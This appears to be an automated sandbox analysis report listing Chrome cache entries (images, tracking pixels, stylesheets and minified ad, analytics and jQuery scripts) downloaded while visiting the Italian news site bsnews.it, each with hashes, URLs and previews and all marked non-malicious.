Preview:	html{overflow:hidden}body{margin:0;height:26px}.wpl-likebox{container-type:inline-size}.wpl-likebox,.wpl-follow a,.wpl-count a{font-size:11px!important;font-family:"Open Sans",sans-serif!important}.wpl-button{min-width:73px}.wpl-button a{text-decoration:none;display:flex;margin:1px 6px 8px 1px;font-size:13px;font-family:"Open Sans",sans-serif;font-weight:500;border-radius:4px;color:#2c3338;background:#fff;box-shadow:0 1px 2px rgba(0,0,0,.12),0 0 0 1px rgba(0,0,0,.12);text-shadow:none;line-height:23px;padding:4px 10px 3px 9px}.rtl .wpl-button a{margin:1px 1px 8px 6px;padding:4px 9px 3px 10px}.wpl-button a:hover{box-shadow:0 1px 2px rgba(0,0,0,.22),0 0 0 1px rgba(0,0,0,.22)}.wpl-button a:active{box-shadow:0 1px 2px rgba(0,0,0,.22),0 0 0 1px rgba(0,0,0,.22)}.wpl-button a:before{display:inline-block;position:relative;width:16px;height:16px;text-align:center;top:3px;margin-left:0;margin-right:-1px;content:"";background-size:16px 16px;min-width:16px}.wpl-button.like a:before{background-image

Chrome Cache Entry: 722

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	7716
Entropy (8bit):	7.974617230072998
Encrypted:	false
SSDEEP:	192:sg4TtpcN4CgFxujkLcKuBeYC99Ilpc/2Za3Ls1uvx:sgAcN4TngkLcKuzC3IlpcuZabj
MD5:	DA47341B7603DBB788228990E540DFE5
SHA1:	33243B36C0BDA4EF67A9AC646B147CF78D558690
SHA-256:	95F4928E37CBDA33ABF06DF9D9A3BB6E59EE469025E9EA17A189BA6B2862A01F
SHA-512:	FFAC32BDE74D309EF59F29C65D826772071BD6201DF63CAF78345D9FA1D4CDB2929682B105A7F0477D49831373B03720E0FADA92F6162389E0164EFE157FC5CB
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2017/04/musil.jpg?resize=324%2C160&ssl=1
Preview:	RIFF....WEBPVP8 .....o...*D...>m0.G$"..'.kh...i...'.[.g.......6.G.G....k_.\|hu.......(.....^......O.O..A...u.s...c.yQ.......................?.?......s.........\|..@.......w...?.z..............zX..jM..h.nj.8~O......{...2.$q......n[.(.;]..4.7....b.....kc.L.^.%..S.Hiz.xReB9.T....._>C.P.....?.....h....".\.......N6F.(........V...Z.[.D..Km...h..4...qw..l.Frl..w......x.Bn..Y..C..$c.7.p.....o..`..F.4w0u./.h,./....0.7. ...v....0]:.H..,.]<.^...)..{j....\.[3....=..q...._o4ZL..5.hj.bI.Z..l...z...Xv.%.A..."mnx$..0.m.O.o...%dJ.\..&...x.s;.{..b.F]..#w.4....y.y....:k.!.s...YVd5.....V.`..t...[.pb<..n.`c2.`...k.7h.q..k...%W.......Y.....k.4.._.R...C...md..i...Nl(...9.a.#l...A..V..Y4.}O9r.y.......w..I)...B....-...%Q..6.....@..>I......R.&.ab.;..JsD..7W.P< .."Q- .#....B.$..u.C1=....q......?....."w...j.e....1.$..UC..k.....+P.Q.. .lfv.k..Ex....N.9X....a)y....3.......B.."o.:Nb..........W.7D4..4.........;u_...uw...fO.ttu.t#.@.K...I.W..:.%b....hz..%.v.N.n...`...-\Ik...T.....

Chrome Cache Entry: 723

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 724

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26525)
Category:	downloaded
Size (bytes):	26526
Entropy (8bit):	5.900254378875485
Encrypted:	false
SSDEEP:	768:9v4VO8ZWhQEEH8OsGCtX31l+F2wRs/rJI3l/17H:9g3EmzCtf+F24s/rYdb
MD5:	AA86BAD62E391D3D93EB5D1C07232AB0
SHA1:	68A3A2BE5C13E81CFA4BAFB45C1E959F6A0FE1FA
SHA-256:	96348D32E09517A11A5DD91FBFE63BB5ECBA1FDA9F5DE3D1394C6D4B8D7B26F6
SHA-512:	B2336D6404E4233746A504A5F1176F333C25006FD8446B41BFE6D82454B36D20411D226483572BCD0860C8DCD4D22141FD2FFD5CE3DB24D7D1E1B8A9F831A74D
Malicious:	false
Reputation:	low
URL:	https://cdn.digitrend.it/dpiu/script.dipiu.js?t=1711615883487
Preview:	eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('!y(e,t){"2Z"==T 19&&"2Z"==T 6O?6O.19=t():"y"==T 5n&&5n.8F?5n([],t):"2Z"==T 19?19.2h=t():e.2h=t()}(G,y(){q y(e){z t={};y r(n){E(t[n])q t[n].19;z i=t[n]={i:n,l:!1,19:{}};q e[n].5N(i.19,i,i.19,r),i.l=!0,i.19}q r.m=e,r.c=t,r.d=y(e,t,n){r.o(e,t)\|\|1o.2R(e,t,{3F:!0,1W:n})},r.r=y(e){"24"!=T 5q&&5q.7L&&1o.2R(e,5q.7L,{1V:"9p"}),1o.2R(e,"X",{1V:!0})},r.t=y(e,t){E(1&t&&(e=r(e)),8&t)q e;E(4&t&&"2Z"==T e&&e&&e.X)q e;z n=1o.8E(1u);E(r.r(n),1o.2R(n,"A",{3F:!0,1V:e}),2&t&&"2Y"!=T e)1g(z i 5p e)r.d(n,i,y(t){q e[t]}.8M(1u,i));q n},r.n=y(e){z t=e&&e.X?y(){q e.A}:y(){q e};q r.d(t,"a",t),t},r.o=y(e,t){q 1o.2N.8N.5N(e,t)},r.p="",r(r.s=90)}({17:y(e,t,r){"1L 1N";t.X=!0,t.A=V 0;z n=r(18)

Chrome Cache Entry: 725

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=57&external_user_id=969470224947452706
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 726

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=kadam&google_push=AXcoOmQ1-eZrWARBomRGztxUGLcuXFkEdf0YCFQbBM2_5sfIO0YzfNJJdBIbtAPbZzpVjF4mnKeLpFin7JBAbISdHRTyLq_itMM
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 727

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (587)
Category:	downloaded
Size (bytes):	84894
Entropy (8bit):	5.800354838626796
Encrypted:	false
SSDEEP:	1536:VG8Hf+zwdkpzC0Cy/sNtsjGPPP0AU8jMltRIKywqAA:VGCf4wKcsjG/oNO
MD5:	96BBFF8188A56307D03013451EB617E8
SHA1:	CC08E43D7FC2D68E8DD5CB158D5298D786EE4917
SHA-256:	08DDB35A3767259B793C3382F0D81735D84A8AA169B944E6DA3C64C4B476B1C1
SHA-512:	A47CDB3C08AF1BD01AA2C2837963B2944B067E13B50D6BAF2D4D47F50A9987AB8041453D27ABB0B80BA001C7D1D82854A809068547C5672A2953031ED56AF0C5
Malicious:	false
Reputation:	low
URL:	https://js.omg.neodatagroup.com/omg.js
Preview:	var $jscomp=$jscomp\|\|{};$jscomp.scope={};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.defineProperty=$jscomp.ASSUME_ES5\|\|"function"==typeof Object.defineProperties?Object.defineProperty:function(c,l,t){c!=Array.prototype&&c!=Object.prototype&&(c[l]=t.value)};$jscomp.getGlobal=function(c){return"undefined"!=typeof window&&window===c?c:"undefined"!=typeof global&&null!=global?global:c};$jscomp.global=$jscomp.getGlobal(this);$jscomp.SYMBOL_PREFIX="jscomp_symbol_";.$jscomp.initSymbol=function(){$jscomp.initSymbol=function(){};$jscomp.global.Symbol\|\|($jscomp.global.Symbol=$jscomp.Symbol)};$jscomp.Symbol=function(){var c=0;return function(l){return $jscomp.SYMBOL_PREFIX+(l\|\|"")+c++}}();.$jscomp.initSymbolIterator=function(){$jscomp.initSymbol();var c=$jscomp.global.Symbol.iterator;c\|\|(c=$jscomp.global.Symbol.iterator=$jscomp.global.Symbol("iterator"));"function"!=typeof Array.prototype[c]&&$jscomp.defineProperty(Array.prototype,c,{configurable

Chrome Cache Entry: 728

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&vxii_pid=12&vxii_pid1=10067&vxii_rcid=029dc68d-3ad5-4ebd-a783-ce160c7f97b9
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 729

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	137212
Entropy (8bit):	5.521414236393721
Encrypted:	false
SSDEEP:	1536:KFACbKsxDfbLI/QKlQJzbWjB2wpltauw0NtNpvaH:KFZ7ZBK3Nlty0N9u
MD5:	F2BCDF9060988910C023048A01C65CDA
SHA1:	1EE8B33E4AA1E1898FA82E5EF74323A2B6E3B1A8
SHA-256:	2B92CDCC37266BF366A8A7F61DAF5E06AC46AD675DD3FBC5B726EE091D63E30F
SHA-512:	7802DDE7667637280758EDC9749B257C0A7EB8244B0FA119106587964EA2CC950F8A1026F8FFA957E8491F6575CD4A07475CF9238F7AEFDC1318043E1742FBA3
Malicious:	false
Reputation:	low
URL:	https://attentionxyz.com/71-5aa35650/amt.js?tagLabel=GumGum_gg&attrAdvertiser=1454&attrCampaign=14579&attrPlacement=37786&attrCreative=122448&attrImpression=f3817276-14cd-4a76-a4c6-9e6cbaa9eea3&attrDeal=&richMediaVendor=&richMediaFormat=7&richMediaPart=[layerName]&referrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&attr1=direct&attr2=default&attr3=n%7C0&attr4=2243394&attrExt1=0&attrExt2=&attrExt3=&attrExt4=&attrExt5=
Preview:	(()=>{"use strict";var e={8369:(e,t,a)=>{Object.defineProperty(t,"__esModule",{value:!0});const i=a(5765);let n;(0,a(2004).isApiStreamEnabled)("production")&&(n=e=>t=>{const a=t.map(e=>{const{id:t,target:a,adLocation:n,loadingStatus:r,adDimensions:o}=e;return(0,i.addCreativeIdAttributeToAdTarget)(a,t),{id:t,attribute:i.ID_ATTRIBUTE,adLocation:n,loadingStatus:r,adDimensions:o}});e.postMessage(JSON.stringify({type:"ad",data:a}))}),t.default=n},759:(e,t,a)=>{Object.defineProperty(t,"__esModule",{value:!0});let i;(0,a(2004).isApiStreamEnabled)("production")&&(i=e=>t=>{e.postMessage(JSON.stringify({type:"event",data:t}))}),t.default=i},6155:function(e,t,a){var i=this&&this.__importDefault\|\|function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.dispatchApiData=t.setupApiStream=t.getCustomEventDetailByAd=void 0;const n=i(a(8369)),r=i(a(759)),o=a(2004),s=a(5151),d=a(850);let l;t.setupApiStream=l;let c=()=>{};t.dispatchApiData=c,(0,o.isApiStreamEnab

Chrome Cache Entry: 730

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	87553
Entropy (8bit):	5.262620498676155
Encrypted:	false
SSDEEP:	1536:0RUX9uDgwxcy2KVBNwchN6SLaHEk2BSrBESp+a/IEk4aAocVi8SMBQ47GKO:sHNwcv9VBQpLl88SMBQ47GKO
MD5:	826EB77E86B02AB7724FE3D0141FF87C
SHA1:	79CD3587D565AFE290076A8D36C31C305A573D18
SHA-256:	CB6F2D32C49D1C2B25E9FFC9AAAFA3F83075346C01BCD4AE6EB187392A4292CF
SHA-512:	FC79FDB76763025DC39FAC045A215FF155EF2F492A0E9640079D6F089FA6218AF2B3AB7C6EAF636827DEE9294E6939A95AB24554E870C976679C25567AD6374C
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/c/6.4.3/wp-includes/js/jquery/jquery.min.js
Preview:	/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Chrome Cache Entry: 731

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43167), with no line terminators
Category:	downloaded
Size (bytes):	43167
Entropy (8bit):	5.324782080829049
Encrypted:	false
SSDEEP:	768:rSrWpKV5YHo/CGqhzHtweOwDewkkpKrtb5qGiMO0sIT9dTRmAV9u4t3EBg2ko+e8:wjdSdw
MD5:	B71962BA842EC8FE80423633C446A102
SHA1:	C3A32491C7C95D151C54149DE77CF9C84F62CC27
SHA-256:	AFCC663536DE33D814D9D34E095D967C24CE211D814F8957FF9FF313BEA37693
SHA-512:	FDA4B8CB42E1F178D8B9043283B7D8BC64BB271FE854533BF11FAEF78E7F79CF095A085A7416AD3EF86874E6984834BC1CB6C9F3DE6CDC9111BF504468D3978E
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-cloud-library/assets/css/tdb_main.css?ver=be262a20ca49ba5e513ad6176c77b975
Preview:	.tdb-s-page-sec-header{margin-bottom:35px}body .tdb-spsh-title{margin:0;font-family:inherit;font-size:1.429em;font-weight:500;line-height:1.2;color:#1d2327}.tdb-s-btn{display:inline-flex;align-items:center;justify-content:center;position:relative;background-color:#0489fc;min-width:100px;padding:14px 24px 16px;font-size:1em;line-height:1;font-weight:600;text-align:center;text-decoration:none;color:#fff;border:0;border-radius:5px;outline:3px solid transparent;transition:background-color .2s ease-in-out,color .2s ease-in-out,border-color .2s ease-in-out,outline-color .2s ease-in-out;-webkit-appearance:none;cursor:pointer}.tdb-s-btn svg{position:relative;width:.9em;height:auto;margin-right:.5em}.tdb-s-btn:hover,.tdb-s-btn:active{background-color:#152bf7}.tdb-s-btn:active:not(:disabled){outline-color:rgba(21,43,247,.2)}.tdb-s-btn:disabled{background-color:#9acffd;pointer-events:none}.tdb-s-btn.tdb-s-btn-saving:after{content:'';position:relative;width:12px;height:12px;margin-left:15px;border

Chrome Cache Entry: 732

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	5412
Entropy (8bit):	7.96839912858489
Encrypted:	false
SSDEEP:	96:sRgFFvxPsijesHavZPa//fLhZu54L3r+3CvFzSkdL78G/1SARSXI:s2Fpmm/Xdc5dCdfdUGN1RGI
MD5:	7123DDFC43A52938F8763578F45FDCB9
SHA1:	5BF49F717B80A9C50702264632E8DC5F1D31429B
SHA-256:	AEF83C9A43870035CB79D6526CC44FA26E124AEF21DE48E9AFE1A43FF37E28F0
SHA-512:	63F099DC1046815AAE3A562DEF07AB5C30B9D0293775FACD75E216B2165E3FAD2A40C91C6A63CAB272191D4FCD1367C57F1322A3BDFFE3EE73F81E71E8CCC912
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-27-at-11.34.53-AM.jpeg?resize=324%2C160&ssl=1
Preview:	RIFF....WEBPVP8 .....e...D...>.Z.M..#...P...M.....2_.#..^=.........,.~.w..i..@.c...6.......l..y{..... ~......9.a......[.z]..@.....)FTW....c......?P.G.....r.P.>...zf......V....{E.V....u......E.v.O..5%......r[2......xi,......N2...'..p...I.R~ .[...?.....:...=.....M.......l......_A...n..:....iq..E.V.]..p...z......b.....,..(H..'..6.{..1.....:..70(RH...L.........W...}%\.b5...U...M._kp s...s.x......;...l............p.<G.;......f..\|...l.........3.;..A{J.b...Ey7.CQ...{.7h.[\....fn_..y....d.&.....N..;.._.P..L3t....n-Y;.`..%6...3..R..1^.w%.d.4\|..c.Cf.Ll.Dj-.]_et.....@KPt...ct.#i .s.\...Q....g.-Cl.c.....Y.HJ...@oK5lBd.Q +..K.b.!.TN.{.*@.MR!4.O.>q.L.hxX.S............v......M9......u....m...n.<./i.....K.z..0.9P..N...x..6..............Y....N.......N:W.....PyS[hO+.D.\|...N......q...\|.7..^..;.....I.!..P......3..../?..g.F.>.B1h....T?%..3.T`.b.K]\...M.....,.e3#....0.\.n$Q.f).[>..s.#...{.o...K......k..{~.T........mc..=.M....NQ...A.3..V..J. ..`S...hW}..B.\.

Chrome Cache Entry: 733

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
URL:	https://match.sharethrough.com/sync/v1?source_id=YnUBs5Yz9Zqjy9VCcoCxquFP&source_user_id=vt7pfC3z1RPLu95
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 734

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19300)
Category:	downloaded
Size (bytes):	545184
Entropy (8bit):	5.429956592029078
Encrypted:	false
SSDEEP:	6144:mjS2IJfOPwGnNl48bJLPGMZR8rD16QExWydgwv9bR/h5nRDuTU86x:mjCG1Y6QExWyzVDuTU86x
MD5:	1DE4D4F556A2EEC09E04937A722D5963
SHA1:	75367104CA65AFC25E9C2F137B65EA43E26FD41B
SHA-256:	1CD36721893C98FA3CAA47903B39D9C17C06D1E9E4C2366347771872A14C63FE
SHA-512:	CD4DFFD29B95AE99F9FA00112EFDD7DC2FF8E78BD4E5990EE02A6A3B3F3B2E6612CDC5C46CFA0FEDA474BEC9CA2C8A56BF8C96E19152CAE3F2734A36253BD69C
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iEpO4/yH/l/en_US/F6EglYYU9ZT.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/.."use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listeners=new Map()}a.prototype=Object.create(Object.prototype);a.prototype.addEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();d.has(e)\|\|d.set(e,new Map());var f=d.get(e);f.has(b)\|\|f.set(b,c)};a.prototype.removeEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();if(d.has(e)){var f=d.get(e);f.has(b)&&f["delete"](b)}};a.prototype.dispatchEvent=function(a){if

Chrome Cache Entry: 735

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
URL:	https://stags.bluekai.com/site/37274?limit=1&id=0adae5af-7094-0f1e-1350-c9301b494654
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 736

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2406)
Category:	downloaded
Size (bytes):	4135
Entropy (8bit):	5.400061384025375
Encrypted:	false
SSDEEP:	96:BdvzQYh76QVWlP/Or3VazkP2TBxj6kDxx1vryS159O84+SGyDZTxSf0v:BdvMXlpW0kOTflDBOQB4+PkVxScv
MD5:	706182B3F15765C096ED8660374C12BF
SHA1:	14334D589B9812B73CA593807E3601D9EA7931C6
SHA-256:	C056DC1F3BCFED323FFFCE5688EAFF6D921CF4C33905D96C69ED10FF34DA0565
SHA-512:	1A82E616812D882E76DBA20760BDC0571C250ED6F1F8242ABB4CE90290CC968A1A444F6A2BE9557DDC0467BCE72E29D050622C3999B1777578D5F37435D4F6A1
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/js/car.js
Preview:	/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ .var e=this\|\|self,f=function(a){return a};/ . . SPDX-License-Identifier: Apache-2.0 .*/ .function g(a){return Object.isFrozen(a)&&Object.isFrozen(a.raw)}function h(a){return-1===a.toString().indexOf("`")}const k=h(a=>a``)\|\|h(a=>a`\0`)\|\|h(a=>a`\n`)\|\|h(a=>a`\u0000`),l=g``&&g`\0`&&g`\n`&&g`\u0000`;var m;var p=class{constructor(a){if(n!==n)throw Error("TrustedResourceUrl is not meant to be built directly");this.l=a}toString(){return this.l+""}},n={},q=function(a){if(void 0===m){var b=null;var d=e.trustedTypes;if(d&&d.createPolicy)try{b=d.createPolicy("goog#html",{createHTML:f,createScript:f,createScriptURL:f})}catch(c){e.console&&e.console.error(c.message)}m=b}a=(b=m)?b.createScriptURL(a):a;return new p(a)};var t=class{constructor(a){if(r!==r)throw Error("SafeUrl is not meant to be built directly");this.j=a}toString(){return this.j.toString()}},r={};new t("about:invalid#zClosurez");new t("about:blank")

Chrome Cache Entry: 737

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	8702
Entropy (8bit):	7.978961928396945
Encrypted:	false
SSDEEP:	192:T5uVQe0r/gKqe7nFQht0bY1GHw2b87SJwI8/GUyxxPk80JfbbarJjCKbus:0QeS/gKXjUt0JQ0JwI8/GZxenarDus
MD5:	0F01AE67D6FB98C49ADCD53333C3BFA1
SHA1:	BFFD38E51AB1E5E0EF8333A6F6E29EEFFFECB7E1
SHA-256:	532D7FD3E584300F686E1E7BCB8F12C26CD690C06F510CADD73C49EC3F0513F4
SHA-512:	0021B84BFEE65CCCA7F6F7B6B8DD02DD58BCE69EFFCB75DAEBFCFEEEB31E37894B821591BAFF1F36DEE6618116C9F55B9B6A5BE165CBD9FFEBBCBD4C2BADA288
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240327_1109.jpg?resize=324%2C160&ssl=1
Preview:	RIFF.!..WEBPVP8 .!..P....D...>m0.G.".!.S.....flG0;..#[..../.?jN=...^%......z......3..\|....[.'.opO.O.?.=.=..l.....K......y/...~.?....L...........3...[.#...._.h...f...LO.1#..`)........n>&.....o...}....y.........e.....l.......{..NNu.rP.a>.U~h.@....K..bML..U..\..kb}..z.m.2..p...v....`3.;D.. .].....8.TO.WM..#.".K....y......,..x.Z.F<......j.....a .q+..^..W7..J=.R.Kb.......;Ud.q,K...n....=V....L..XGw..C.@%.v..U].)9..@\.Z.4..e........CF.w..Hf.8..+......1.P...]g...0..kx..C......_-..H.X....._..@J.,-e..i..y..:2./..8.n2m..Q...Q.P.R5.:.+...g.0K....'..7...4.a.5.i..qg.....\.).zBO\|Z.?&.pC.8.....n_..b8..l.[..<...Y.W@.8...n7.?.........b...3.ME.....-j.x.o=uec>A.z..!.=.4J6S^5..8p..5.F....v.BAL...3".~{P.oU.Bb..rso'5.....YE.....b".....bSK.(..v.l..2..9...u.S.Z6..C...`~[....9.....L..y..x.J.h..\W.p...+..@.!..v.P3.v....=..~....a.T.......h5..TZ.Y..x.Ke...B....a.+...bO.\|0p.. R..Pp....O...~....q.P..w....E.-q..z.....r~_?.q9_.DW3......Y........8$.{{&..#.cx..E..B_..t.

Chrome Cache Entry: 738

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 739

Download File

